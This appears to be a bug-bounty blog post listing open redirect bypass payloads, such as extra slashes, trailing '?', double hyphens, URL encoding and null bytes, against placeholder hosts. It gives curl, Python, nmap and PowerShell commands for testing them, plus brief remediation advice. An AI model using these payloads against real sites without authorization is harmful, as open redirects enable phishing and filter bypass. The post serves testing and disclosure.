Open redirect vulnerabilities are common in web applications and can be exploited to redirect users to malicious sites. Below are some bypass techniques along with practical examples and commands to test them.
You Should Know:
1. Trailing Slash & Question Mark Bypass
- Payload:
https://target.com///exam.com/ --> 404 Not Found https://target.com///exam.com/? --> Redirects to exam.com
- Testing with cURL:
curl -I "https://target.com///exam.com/?"
- Expected Behavior: The server responds with a `302 Redirect` to
exam.com
.
2. Double Hyphen Bypass
- Payload:
https://target.com/exam.com-- --> 404 https://target.com/exam.com/-- --> Success (Redirects)
- Testing with Python Requests:
import requests response = requests.get("https://target.com/exam.com/--", allow_redirects=False) print(response.headers['Location']) Should return exam.com
3. URL Encoding & Case Manipulation
- Payload:
https://target.com/%65xam.com (URL-encoded 'e') https://target.com/ExAm.com (Mixed case)
- Testing with Burp Suite:
Intercept the request and modify the path to test different encoding variations.
4. Using Null Bytes or Special Characters
- Payload:
https://target.com/exam.com%00 https://target.com/exam.com/?param=valuefragment
- Testing with cURL:
curl -I "https://target.com/exam.com%00"
5. Subdomain & Wildcard Bypass
- Payload:
https://sub.target.com/exam.com https://target.com/.exam.com
- DNS Check:
dig A exam.com nslookup exam.com
What Undercode Say:
Open redirect vulnerabilities may seem low-risk, but they can be weaponized in phishing campaigns, SSRF attacks, and bypassing security mechanisms. Always validate redirect URLs on the server side. Use strict regex checks and allowlist trusted domains.
Additional Linux & Windows Commands for Testing:
- Linux:
nmap -p 443 --script http-open-redirect target.com wget --max-redirect=0 "https://target.com/exam.com/?"
- Windows (PowerShell):
Invoke-WebRequest -Uri "https://target.com/exam.com/?" -MaximumRedirection 0
Expected Output:
A successful bypass will result in a `302 Found` or `301 Moved Permanently` response with the `Location` header pointing to the external domain.
Prediction:
Open redirect vulnerabilities will continue to be a common misconfiguration in web apps, especially with the increasing use of third-party integrations. Automated scanners will likely improve detection, but manual testing remains crucial for advanced bypasses.
Note: Always test responsibly and only on authorized systems.
References:
Reported By: Mamunwhh Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅